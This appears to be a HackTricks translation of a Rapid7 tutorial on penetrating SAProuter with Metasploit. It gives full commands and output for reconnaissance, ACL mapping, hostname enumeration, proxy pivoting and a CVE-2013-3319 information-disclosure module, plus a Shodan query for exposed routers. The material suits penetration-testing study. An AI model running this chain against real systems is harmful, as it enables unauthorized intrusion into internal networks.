20 KiB
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
你在一家网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载HackTricks的PDF吗?请查看订阅计划!
-
发现我们的独家NFTs收藏品- The PEASS Family
-
加入 💬 Discord群组 或 Telegram群组 或 关注我在Twitter上的 🐦@carlospolopm.
-
通过向hacktricks repo和hacktricks-cloud repo提交PR来分享你的黑客技巧。
Copy of: https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/
PORT STATE SERVICE VERSION
3299/tcp open saprouter?
使用Metasploit穿透SAProuter
Saprouter基本上是SAP系统的反向代理,通常位于互联网和内部SAP系统之间。它的主要目的是允许来自互联网上的主机对内部SAP系统进行受控访问,因为它可以比典型防火墙更精细地控制SAP协议。
这意味着saprouter通常会暴露在互联网上,通过在组织的防火墙上允许对saprouter主机的入站TCP端口3299的访问。从saprouter上,至少应该能够访问到内部的SAP服务器。这使得它成为一个非常有趣的目标,因为它可以提供进入“高价值”网络的途径。
下图显示了一个基本的网络设置,我们将在示例中使用该设置:
首先,我们将使用sap_service_discovery
模块对暴露的IP地址进行SAP服务扫描,本例中为1.2.3.101。
msf> use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
RHOSTS => 1.2.3.101
msf auxiliary(sap_service_discovery) > run
[*] [SAP] Beginning service Discovery '1.2.3.101'
[+] 1.2.3.101:3299 - SAP Router OPEN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
扫描结果显示主机在预期的TCP 3299端口上运行着SAP路由器。现在我们可以深入挖掘,并尝试从saprouter获取一些信息。如果它被错误配置了,而且通常它们都是这样,可能可以获取内部信息,例如通过saprouter与内部主机建立的连接。为此,我们使用sap_router_info_request
模块:
msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
RHOSTS => 1.2.3.101
msf auxiliary(sap_router_info_request) > run
[+] 1.2.3.101:3299 - Connected to saprouter
[+] 1.2.3.101:3299 - Sending ROUTER_ADM packet info request
[+] 1.2.3.101:3299 - Got INFO response
[+] Working directory : /opt/sap
[+] Routtab : ./saprouttab
[SAP] SAProuter Connection Table for 1.2.3.101
===================================================
Source Destination Service
------ ----------- -------
1.2.3.12 192.168.1.18 3200
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
所以,从输出中我们可以看到,互联网上的某个人(1.2.3.12)连接到内部主机(192.168.1.18)的3200端口。3200端口是DIAG协议的常见SAP端口(SAP GUI应用程序连接到SAP服务器的地方)。我们还获得了关于内部IP寻址方案的信息,他们很可能使用的是192.168.1.0/24网络,或者该网络中的某个子网。
枚举内部主机和服务
有了这些信息,我们现在可以开始扫描内部网络了。由于saprouter的工作方式类似于代理,我们将尝试连接到它并请求连接到内部主机和端口,并查看saprouter的回复。这可能会更深入地了解内部主机、服务和ACL的情况,这取决于saprouter的配置。我们将使用sap_router_portscanner
模块来实现这个目的。
该模块连接到saprouter并请求连接到其他主机(在TARGETS选项中定义)的特定TCP端口。然后分析回复,并判断所请求的连接是否可能。该模块提供了一些可用的选项:
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
INSTANCES 00-99 no SAP instance numbers to scan (NN in PORTS definition)
MODE SAP_PROTO yes Connection Mode: SAP_PROTO or TCP (accepted: SAP_PROTO, TCP)
PORTS 32NN yes Ports to scan (e.g. 3200-3299,5NN13)
RESOLVE local yes Where to resolve TARGETS (accepted: remote, local)
RHOST yes SAPRouter address
RPORT 3299 yes SAPRouter TCP port
TARGETS yes Comma delimited targets. When resolution is local address ranges or CIDR identifiers allowed.
至少你需要设置saprouter的IP地址,在这个例子中是1.2.3.101。然后,将TARGETS设置为您想要扫描的内部网络地址,最后使用TCP端口设置PORTS。
该模块还提供了一个INSTANCES选项,可以简化PORTS选项的定义。SAP安装支持多个实例,提供类似的服务,因此每个实例都分配了TCP端口。例如,SAP实例00将在端口3200上提供SAP调度服务(SAP GUI连接到该服务),实例01将在端口3201上提供该服务。PORTS选项支持一个“通配符”,即“NN”,它将被实例号替换,因此可以扫描所有定义的实例的端口。因此,如果我们想要扫描从00到50的实例,可以按照以下方式定义INSTANCES和PORTS变量:
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
INSTANCES => 00-01
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
PORTS => 32NN
使用此设置,模块将扫描3200到3250范围内的端口。
在模块的源代码中,您可以找到有关SAP系统常见默认端口的信息,我们将使用这些信息进行扫描:
msf > use auxiliary/scanner/sap/sap_router_portscanner
msf auxiliary(sap_router_portscanner) > use auxiliary/scanner/sap/sap_router_portscanner
msf auxiliary(sap_router_portscanner) > set RHOST 1.2.3.101
RHOST => 1.2.3.101
msf auxiliary(sap_router_portscanner) > set TARGETS 192.168.1.18
TARGETS => 192.168.1.18
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-01
INSTANCES => 00-01
msf auxiliary(sap_router_portscanner) > set PORTS 32NN,33NN,48NN,80NN,36NN,81NN,5NN00-5NN19,21212,21213,59975,59976,4238-4241,3299,3298,515,7200,7210,7269,7270,7575,39NN,3909,4NN00,8200,8210,8220,8230,4363,4444,4445,9999,3NN01-3NN08,3NN11,3NN17,20003-20007,31596,31597,31602,31601,31604,2000-2002,8355,8357,8351-8353,8366,1090,1095,20201,1099,1089,443NN,444NN
PORTS => 32NN,33NN,48NN,80NN,36NN,81NN,5NN00-5NN19,21212,21213,59975,59976,4238-4241,3299,3298,515,7200,7210,7269,7270,7575,39NN,3909,4NN00,8200,8210,8220,8230,4363,4444,4445,9999,3NN01-3NN08,3NN11,3NN17,20003-20007,31596,31597,31602,31601,31604,2000-2002,8355,8357,8351-8353,8366,1090,1095,20201,1099,1089,443NN,444NN
msf auxiliary(sap_router_portscanner) > run
[*] Scanning 192.168.1.18
[!] Warning: Service info could be inaccurate
Portscan Results
================
Host Port State Info
---- ---- ----- ----
192.168.1.18 3201 closed SAP Dispatcher sapdp01
192.168.1.18 3200 open SAP Dispatcher sapdp00
192.168.1.18 50013 open SAP StartService [SOAP] sapctrl00
[*] Auxiliary module execution completed
我们可以尝试使用VERBOSE选项来了解为什么一些连接不能通过saprouter。当VERBOSE设置为true时,我们可以看到saprouter的响应,并映射定义的ACL。
现在我们将扫描192.168.1.18和192.168.1.1主机,但只在端口3200上,以查看是否可以连接到两个SAP调度程序:
msf auxiliary(sap_router_portscanner) > set VERBOSE true
VERBOSE => true
msf auxiliary(sap_router_portscanner) > set TARGETS 192.168.1.1,192.168.1.18
TARGETS => 192.168.1.1,192.168.1.18
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
PORTS => 32NN
msf auxiliary(sap_router_portscanner) > run
[*] Scanning 192.168.1.18
[+] 192.168.1.18:3200 - TCP OPEN
[!] Warning: Service info could be inaccurate
Portscan Results
================
Host Port State Info
---- ---- ----- ----
192.168.1.18 3200 open SAP Dispatcher sapdp00
[*] Scanning 192.168.1.1
[-] 192.168.1.1:3200 - blocked by ACL
[!] Warning: Service info could be inaccurate
[*] Auxiliary module execution completed
正如您所见,我们现在也知道我们无法连接到端口3200上的其他主机,因为它被saprouter上定义的ACL阻止了。
映射ACL
关于saprouter的一个有趣之处是,它支持两种类型的连接:
- 本机连接 - 这些连接只是TCP连接;
- SAP协议 - 这些是带有变化的TCP连接,协议规定所有消息都以4个字节的长度开始,指示接下来的内容的长度。
SAP协议是特定于saprouter的,是SAP GUI用于通过saprouter连接到SAP DIAG端口的协议。本机协议用于允许其他类型的连接通过saprouter。
此模块允许在扫描中通过MODE选项指定要测试的连接类型。默认值是SAP协议,这是在生产中最有可能使用的。然而,发现允许通过saprouter的其他服务使用本机(TCP)连接的情况并不罕见。
我们可以将MODE设置为TCP,以评估是否允许此类连接。我们现在将扫描内部主机,分别在端口3200(SAP DIAG)和80(HTTP)上,将VERBOSE设置为true,在实例00和01上观察结果:
msf auxiliary(sap_router_portscanner) > set MODE TCP
MODE => TCP
msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
PORTS => 80,32NN
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-01
INSTANCES => 00-01
msf auxiliary(sap_router_portscanner) > run
[*] Scanning 192.168.1.18
[+] 192.168.1.18:80 - TCP OPEN
[-] 192.168.1.18:3200 - blocked by ACL
[+] 192.168.1.18:3201 - TCP OPEN
[!] Warning: Service info could be inaccurate
Portscan Results
================
Host Port State Info
---- ---- ----- ----
192.168.1.18 80 open
192.168.1.18 3201 open SAP Dispatcher sapdp01
[*] Scanning 192.168.1.1
[-] 192.168.1.1:3200 - blocked by ACL
[+] 192.168.1.1:3201 - TCP OPEN
[+] 192.168.1.1:80 - TCP OPEN
[!] Warning: Service info could be inaccurate
Portscan Results
================
Host Port State Info
---- ---- ----- ----
192.168.1.1 3201 open SAP Dispatcher sapdp01
192.168.1.1 80 open
[*] Auxiliary module execution completed
从输出和之前的信息中,我们现在知道ACL的设置如下:
- 允许从任何主机的TCP连接到192.168.1.1的80端口
- 允许从任何主机的TCP连接到192.168.1.18的80端口
- 允许从任何主机的TCP连接到192.168.1.1的3201端口
- 允许从任何主机的TCP连接到192.168.1.18的3201端口
- 允许从任何主机的SAP连接到192.168.1.18的3200端口
盲目枚举内部主机
如果你还记得,我们开始时是通过获取saprouter的信息来知道内部主机的IP地址,然后从那里继续。但是如果saprouter没有提供这些信息怎么办呢?
一种选择是直接开始扫描私有地址空间,看看会发生什么。另一种选择是通过主机名盲目枚举主机。
Saprouters能够解析我们请求连接的主机名。当saprouter无法连接时,saprouter会友好地告诉我们错误信息(你可以通过取消注释模块源代码的第242行来查看原始响应)。
有了这个功能,我们可以通过主机名枚举内部主机,并尝试直接获取目标!
为此,我们需要将RESOLVE选项设置为“remote”。在这种情况下,模块将请求连接到定义的目标,而不会在本地解析它们,我们可以尝试猜测内部主机,并最终在不知道其IP地址的情况下连接到它们。
在盲目枚举主机时需要记住的重要事项:
- 将VERBOSE设置为true;
- 如果将MODE设置为SAP_PROTO,我们将从saprouter获取更多信息;
- 只需设置一个端口进行扫描即可,因为我们此时只对saprouter发送的信息感兴趣(尝试使用3200);
- 结果将根据配置的ACL而有所不同。不幸的是,被阻止的连接不会给我们太多信息。
在这个例子中,我们将尝试使用主机名sap、sapsrv和sapsrv2。
msf auxiliary(sap_router_portscanner) > set RESOLVE remote
RESOLVE => remote
msf auxiliary(sap_router_portscanner) > set MODE SAP_PROTO
MODE => SAP_PROTO
msf auxiliary(sap_router_portscanner) > set VERBOSE true
VERBOSE => true
msf auxiliary(sap_router_portscanner) > set TARGETS sap,sapsrv,sapsrv2
TARGETS => sap,sapsrv,sapsrv2
msf auxiliary(sap_router_portscanner) > set PORTS 3200
PORTS => 3200
msf auxiliary(sap_router_portscanner) > run
[*] Scanning sap
[-] sap:3200 - unknown host
[!] Warning: Service info could be inaccurate
[*] Scanning sapsrv
[-] sapsrv:3200 - host unreachable
[!] Warning: Service info could be inaccurate
[*] Scanning sapsrv2
[+] sapsrv2:3200 - TCP OPEN
[!] Warning: Service info could be inaccurate
Portscan Results
================
Host Port State Info
---- ---- ----- ----
sapsrv2 3200 open SAP Dispatcher sapdp00
[*] Auxiliary module execution completed
从输出中我们可以看到主机“sap”不存在,但是主机sapsrv存在,尽管无法访问,而sapsrv2存在并且我们可以连接到端口3200。
这种技术也可以用来尝试查找网络上的其他主机,与SAP无关,只需尝试使用常见的主机名,如smtp、exchange、pdc、bdc、fileshare、intranet,或者您在技巧包中还有其他好的主机名。
最后一英里
现在我们已经获得了所有这些信息,我们知道了可用的内部主机、允许的服务以及我们可以使用的协议来穿透saprouter,我们实际上可以连接到内部服务器并继续进行渗透测试。
Metasploit为我们提供了一种很棒的方式来使用saprouter作为代理,使用Proxies选项,感谢Dave Hartley(@nmonkee)。
因此,在这一点上,我们想要开始收集有关我们在主机192.168.1.18上发现的内部sap服务器的信息。作为示例,我们将使用模块sap_hostctrl_getcomputersystem
,该模块利用CVE-2013-3319,并通过未经身份验证的SOAP请求查询端口1128上的SAP Host Control服务,从而为我们提供有关服务器正在运行的操作系统的详细信息。我们将通过saprouter进行枢轴转向,使用metasploit中的代理支持:
msf auxiliary(sap_router_portscanner) > use auxiliary/scanner/sap/sap_hostctrl_getcomputersystem
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
Proxies => sapni:1.2.3.101:3299
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
RHOSTS => 192.168.1.18
msf auxiliary(sap_hostctrl_getcomputersystem) > run
[+] 192.168.1.18:1128 - Information retrieved successfully
[*] 192.168.1.18:1128 - Response stored in /Users/msfusr/.msf4/loot/20140107180827_default_192.168.1.18_sap.getcomputers_386124.xml (XML) and /Users/msfusr/.msf4/loot/20140107180827_default_192.168.1.18_sap.getcomputers_186948.txt (TXT)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
如果一切顺利,你将在loot中获得模块的良好输出,其中包含来自目标SAP主机的有趣的内部信息(例如内部用户名,然后可以尝试暴力破解)。
枢轴技术可以(而且应该!)用于对内部主机运行其他模块,不仅限于SAP系统!
结论
我们已经看到了如何利用弱saprouter配置,从互联网上访问内部主机,而这一切只使用了metasploit对SAP系统进行渗透测试的支持。
我希望本文能够帮助揭示saprouter部署所带来的风险,以及SAP安全的一般情况。
参考资料
- http://labs.mwrinfosecurity.com/blog/2012/09/13/sap-smashing-internet-windows/
-
[http://conference.hitb.org/hitbsecconf2010ams/materials/D2T2](http://conference.hitb.org/hitbsecconf2010ams/materials/D2T2) - Mariano Nun ez Di Croce - SAProuter .pdf
- http://scn.sap.com/docs/DOC-17124
- http://help.sap.com/saphelp_nw70/helpdata/EN/4f/992dfe446d11d189700000e8322d00/f rameset.htm
- http://help.sap.com/saphelp_dimp50/helpdata/En/f8/bb960899d743378ccb8372215bb767 /content.htm
- http://labs.integrity.pt/advisories/cve-2013-3319/
- SAP Service Discovery | Rapid7
- SAPRouter Admin Request | Rapid7
- CVE-2013-3319 SAP Host Agent Information Disclosure | Rapid7
- SAPRouter Port Scanner | Rapid7
Shodan
port:3299 !HTTP Network packet too big
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
你在一家网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得最新版本的PEASS或下载PDF格式的HackTricks吗?请查看订阅计划!
-
发现我们的独家NFTs收藏品——The PEASS Family
-
加入💬 Discord群组或电报群组,或在Twitter上关注我🐦@carlospolopm。
-
通过向hacktricks repo和hacktricks-cloud repo提交PR来分享你的黑客技巧。